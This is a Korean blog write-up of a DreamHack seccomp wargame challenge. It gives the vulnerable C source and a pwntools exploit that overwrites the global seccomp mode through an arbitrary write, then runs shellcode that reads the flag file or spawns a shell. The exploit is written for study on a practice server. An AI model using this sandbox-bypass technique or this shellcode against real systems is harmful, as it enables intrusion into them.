Recent Posts
Recent Comments
Link
«   2025/02   »
1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[System_Hacking] AD: stage2_문제풀이(seccomp) 본문

Hack/DreamHack(로드맵)

[System_Hacking] AD: stage2_문제풀이(seccomp)

CIDY 2022. 7. 10. 23:49
// gcc -o seccomp seccomp.cq
// 64-bit, canary, nx, partial relro
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>
#include <stddef.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>
#include <linux/filter.h>
#include <linux/unistd.h>
#include <linux/audit.h>
#include <sys/mman.h>

int mode = SECCOMP_MODE_STRICT;

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int syscall_filter() {
    #define syscall_nr (offsetof(struct seccomp_data, nr))
    #define arch_nr (offsetof(struct seccomp_data, arch))
    
    /* architecture x86_64 */
    #define REG_SYSCALL REG_RAX
    #define ARCH_NR AUDIT_ARCH_X86_64
    struct sock_filter filter[] = {
        /* Validate architecture. */
        BPF_STMT(BPF_LD+BPF_W+BPF_ABS, arch_nr),
        BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, ARCH_NR, 1, 0),
        BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL),
        /* Get system call number. */
        BPF_STMT(BPF_LD+BPF_W+BPF_ABS, syscall_nr),
        };
    
    struct sock_fprog prog = {
    .len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
    .filter = filter,
        };
    if ( prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == -1 ) {
        perror("prctl(PR_SET_NO_NEW_PRIVS)\n");
        return -1;
        }
    
    if ( prctl(PR_SET_SECCOMP, mode, &prog) == -1 ) {
        perror("Seccomp filter error\n");
        return -1;
        }
    return 0;
}


int main(int argc, char* argv[])
{
    void (*sc)();
    unsigned char *shellcode;
    int cnt = 0;
    int idx;
    long addr;
    long value;

    initialize();

    shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

    while(1) {
        printf("1. Read shellcode\n");
        printf("2. Execute shellcode\n");
        printf("3. Write address\n");
        printf("> ");

        scanf("%d", &idx);

        switch(idx) {
            case 1:
                if(cnt != 0) {
                    exit(0);
                }

                syscall_filter();
                printf("shellcode: ");
                read(0, shellcode, 1024);
                cnt++;
                break;
            case 2:
                sc = (void *)shellcode;
                sc();
                break;
            case 3:
                printf("addr: ");
                scanf("%ld", &addr);
                printf("value: ");
                scanf("%ld", addr);
                break;
            default:
                break;
        }
    }
    return 0;
}

 

일단 아키텍쳐 검사가 있다. x86_64로 맞춰주면 될 일인데 시스템 콜 넘버를 받아가서 어디쓴거지? ㅋㅋ 원래 바이너리 분석용으로 툴을 쓰라 했지만 나는 C코드도 잘 못 읽으니 그냥 툴 돌리겠다ㅎㅎ

 

아 근데 리턴이  안 돼서 툴을 못쓰는 상황이다...(쓰는 방법이 있을 것 같은데 일단 지금 난 모른다)

 

음..deny도 allow도 없으니까 아무거나 쓰라는 말인가? -> 그럼 일단 메인부터 읽어보자.

 

int mode = SECCOMP_MODE_STRICT;

 

아 스트릭트 모드인가보다. -> wrtie, read, exit, sigreturn만 쓸 수 있다. -> 아니 이렇게 아무것도 허용 안 해주면 open을 어떻게 하지? -> syscall끼리 주소를 바꿀 수 없나..? -> 어차피 호출번호로 컷되는거라 될 리가 없음 ㅋㅋ

 

/* Valid values for seccomp.mode and prctl(PR_SET_SECCOMP, <mode>) */
#define SECCOMP_MODE_DISABLED	0 /* seccomp is not in use. */
#define SECCOMP_MODE_STRICT	1 /* uses hard-coded filter. */
#define SECCOMP_MODE_FILTER	2 /* uses user-supplied filter. */

근데 이런 걸 발견했다. 전역에 선언된 mode를 0으로 바꿔버리면 되는 거 아닐까..

 

from pwn import *

p = remote("host3.dreamhack.games", 12451)
e = ELF("./seccomp")
#p = process("./seccomp")
context.arch = "x86_64"

def case1(shellcode):
    p.sendlineafter(b"> ", b"1")
    p.sendafter(b": ", asm(shellcode))

def case2(): p.sendlineafter(b"> ", b"2")

def case3(addr, value):
    p.sendlineafter(b"> ", b"3")
    p.sendlineafter(b": ", str(addr))
    p.sendlineafter(b": ", str(value))

shellcode = shellcraft.openat(0, "/home/seccomp/flag")
shellcode += shellcraft.sendfile(1, 'rax', 0, 100)

case3(e.sym['mode'], 0)
case1(shellcode)
case2()
p.interactive()

 

 아 됐다ㅠㅠㅠ 근데 왜 case1이 case3보다 선행하면 안 되는지는 잘 모르겠다.. 쉘코드 만드는 과정 자체도 뭔가 seccomp에 따른 제한이 있는걸까..?

 

 

근데 생각해보면 쉘코드를 sh로 좀 더 간단히 짤 수 있다. 제한이 아예 없으니 막 해도 된다.

 

shellcode = shellcraft.sh()

 

이렇게 해 주면

 

 

직접 플래그 읽을 수 있다.